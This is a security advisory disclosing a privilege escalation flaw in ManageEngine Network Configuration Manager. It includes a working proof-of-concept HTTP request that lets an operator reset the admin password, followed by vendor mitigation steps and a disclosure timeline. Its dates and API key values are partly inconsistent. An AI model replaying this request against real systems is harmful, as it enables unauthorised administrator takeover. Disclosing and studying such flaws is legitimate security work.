=================================================================================== Privilege escalation Vulnerability in ManageEngine Network Configuration Management =================================================================================== . contents:: Table Of Content Overview ======== Title:- Privilege escalation Vulnerability in ManageEngine Network Configuration Management Author: Kaustubh G. Padwad Vendor: ZOHO Corp Product: ManageEngine Network Configuration Manager Tested Version: : Network Configuration Manager Build 11000 Severity: HIGH Advisory ID ============ 2016-03-Manage_Engine About the Product: ================== Network Configuration Manager is a webbased, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, Network Configuration Manager helps automate and take total control of the entire life cycle of device configuration management. Description: ============ This Privilege escalation vulnerability enables an Normal user to escalate privilege and become administrator of the application. Vulnerability Class: ==================== Top 10 2014-I2 Insufficient Authentication/Authorization https://www.owasp.org/index.php/Top_10_2014-I2_Insufficient_Authentication/Authorization How to Reproduce: (POC): ======================== * you should have Operator Account on Network Configuration Management * login with that account to get api key something like user_1453993872278 * Setup Burp and use change user password request and change userName to admin and newPwd to desire password HUrry you are admin now. :) POC ==== Burp Requst ----------- POST /nfaapi/json/admin/changePassword HTTP/1.1 Host: 192.168.1.10:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://192.168.1.10:8080/netflow/ncmapiclient/ember/index.jsp Content-Length: 50 Cookie: OPUTILSJSESSIONID=E062B23129AA1269EF13794C7710DF8E; JSESSIONID=FBA6ADEE16123786896DF765CA4C9E87; NFA_Jsession=0BF63F9CE8F4DCF664857F92403D8B44; iamcsrfcookie=fbcc4bcb-34ea-4cc8-8cb3-e95dbfc0603d; NFA__SSO=0ED579E64493B973F5BCA1C94EAD6310 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache userName=admin&newPwd=11&apiKey=king_1453993872278 Response -------- HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,POST Access-Control-Max-Age: 5000 Content-Type: application/json;charset=UTF-8 Date: Sat, 30 Jan 2016 20:22:15 GMT Content-Length: 23 {"message":"success"} Mitigation ========== * Please Stop Network configuration manager service. * Open Ncmlib and cut AdvNCM.jar and paste it in to Desktop. * Download the AdvNCM.jar file from below link and paste it under Ncmlib * https://uploads.zohocorp.com/Internal_Useruploads/dnd/DeviceExpert/o_1ab396o1i1a6v8j1cr86uet581/AdvNCM.jar * Open Ncmlogs and delete all the files inside it, * Start the Ncm service and check the issue. Disclosure: =========== * 31-JAN-2016 Repoerted to vendor * 31-Feb-2016 Ack by Vendor * 09-Feb-2016 Fixed By Vendor credits: ======== * Kaustubh Padwad * Information Security Researcher * kingkaustubh@me.com * https://twitter.com/s3curityb3ast * http://breakthesec.com * https://www.linkedin.com/in/kaustubhpadwad